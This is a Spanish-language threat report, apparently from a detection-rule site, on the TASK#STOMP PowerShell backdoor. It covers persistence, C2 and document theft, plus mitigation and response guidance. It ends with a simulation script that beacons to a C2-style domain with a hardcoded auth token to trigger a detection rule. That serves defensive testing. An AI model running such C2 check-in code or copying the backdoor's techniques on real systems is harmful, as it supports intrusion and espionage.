TASK#STOMP: Backdoor de PowerShell para Robo de Documentos y Acceso Remoto

Resumen

TASK#STOMP es un backdoor resistente basado en PowerShell que utiliza la orquestación de VBScript para establecer múltiples mecanismos de persistencia. El malware utiliza la compilación de C# en tiempo de ejecución para eludir la validación de certificados TLS y mantiene dos canales redundantes C2 para operaciones de espionaje. Sus capacidades incluyen el robo automatizado de documentos, vigilancia y ejecución de comandos remotos arbitrarios en sistemas Windows comprometidos.

Investigación

Securonix Threat Research realizó un análisis estático y dinámico de la cadena de infección basada en scripts de Windows. Los investigadores decodificaron cargas útiles codificadas en Base64, incluyendo diag_pack.dat and win_conn_cfg.dat, y reconstruyeron el árbol de procesos de ejecución. La investigación también descubrió técnicas de manipulación de tiempo, rotación de tareas programadas y compilación de .NET en tiempo de ejecución utilizadas para evadir la detección de seguridad.

Mitigación

Los defensores deben monitorear relaciones de procesos sospechosas, particularmente wscript.exe or cscript.exe iniciando schtasks.exe con definiciones XML almacenadas en directorios escribibles por el usuario. Habilitar el Registro de Bloque de Scripts de PowerShell y la telemetría AMSI puede ayudar a identificar la decodificación de cargas útiles en memoria. Bloquear dominios C2 conocidos y detectar csc.exe procesos secundarios inesperados iniciados por PowerShell puede interrumpir aún más la ejecución.

Respuesta

Si se detecta actividad de TASK#STOMP, los respondedores deben eliminar todos los anclajes de persistencia de manera coordinada, incluidas las tareas programadas y las entradas en la carpeta de Inicio. Las instancias activas de VBScript y PowerShell asociadas con el directorio WinDefendSvc deben ser terminadas. Los archivos XML de tareas y las cargas útiles .dat puestas en escena deben preservarse para el análisis forense antes de la remediación.

Palabras clave: TASK#STOMP, backdoor de PowerShell, VBScript, persistencia de múltiples anclas, compilación C#, validación de certificados TLS, C2 redundante, robo de documentos, vigilancia, ejecución de comandos remotos, Securonix Threat Research, Base64, diag_pack.dat, win_conn_cfg.dat, manipulación de tiempo, rotación de tareas programadas, compilación de .NET, wscript.exe, cscript.exe, schtasks.exe, Registro de Bloque de Scripts, AMSI, csc.exe, WinDefendSvc.

Ejecución de Simulación

• Narrativa del Ataque y Comandos: El adversario ha establecido con éxito la persistencia en una estación de trabajo utilizando un backdoor TASK#STOMP. Para recibir instrucciones adicionales y exfiltrar datos robados, el malware inicia una sesión de PowerShell. El script está diseñado para hacerse pasar por tráfico web legítimo comunicándose con un dominio que imita un servicio de intercambio de archivos (corecloudfileshare.xyz). Para asegurar que solo el backdoor autorizado pueda comunicarse con el C2, el script incluye un X-Auth-Token hardcoded en los encabezados de las solicitudes HTTP. Esta combinación específica de destino y encabezado es el desencadenante principal para nuestra lógica de detección.

• Script de Prueba de Regresión:

  # Script de Simulación TASK#STOMP
  # Propósito: Simular la comunicación C2 para activar regla de detección
  
  $C2Domain = "http://corecloudfileshare.xyz/api/checkin"
  $Headers = @{
      "X-Auth-Token" = "STOMP_DEBUG_TOKEN_9928374"
      "User-Agent"   = "Mozilla/5.0 (Windows NT 10.0; Win64; x64)"
  }
  
  Write-Host "[+] Iniciando comunicación C2 simulada a $C2Domain..."
  try {
      # Usamos -ErrorAction SilentlyContinue porque el dominio no se resolverá en un entorno de prueba real
      Invoke-WebRequest -Uri $C2Domain -Headers $Headers -Method Get -ErrorAction SilentlyContinue
      Write-Host "[+] Comando enviado."
  } catch {
      Write-Host "[!] La conexión falló (Esperado si el dominio es inexistente), pero debería generarse telemetría."
  }

• Comandos de Limpieza:

  # No se han creado artefactos persistentes por el script de simulación. 
  # Si se dejó caer un archivo, use: Remove-Item -Path "C:pathtosimulated_malware.exe" -Force
  Write-Host "[+] Limpieza de simulación completada. No se eliminaron artefactos."